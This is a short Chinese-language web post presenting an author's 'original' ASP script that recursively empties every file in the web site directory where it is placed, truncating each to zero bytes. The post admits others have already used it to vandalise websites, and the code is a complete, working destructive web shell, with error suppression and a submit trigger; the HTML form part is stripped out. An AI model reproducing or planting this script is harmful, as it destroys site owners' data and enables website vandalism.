自动清空站点目录下所有文件

作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.

属于无聊时的作品,已经有人利用这个破坏了一些网站了.

1   
2Server.ScriptTimeout=99999   
3If Request("Submit")<>"" Then   
4Call ListFile(Server.mappath("./"))   
5Response.write"清理完毕"   
6Else   
7Response.write"

 1"   
 2End If   
 3Function ListFile(fpath)   
 4On Error Resume Next   
 5Dim Shell,Folder,s   
 6Set Shell =Server.CreateObject ("Shell.Application")   
 7Set Folder =Shell.Namespace(fpath)   
 8Set f=Server.CreateObject("Adodb.Stream")   
 9f.Type=1   
10f.Open   
11For Each s in Folder.Items   
12IF s.isfolder Then   
13Call ListFile(s.path)   
14Else   
15f.SaveToFile s.path,2   
16End if   
17Next   
18Set f=Nothing   
19Set Shell=nothing   
20End function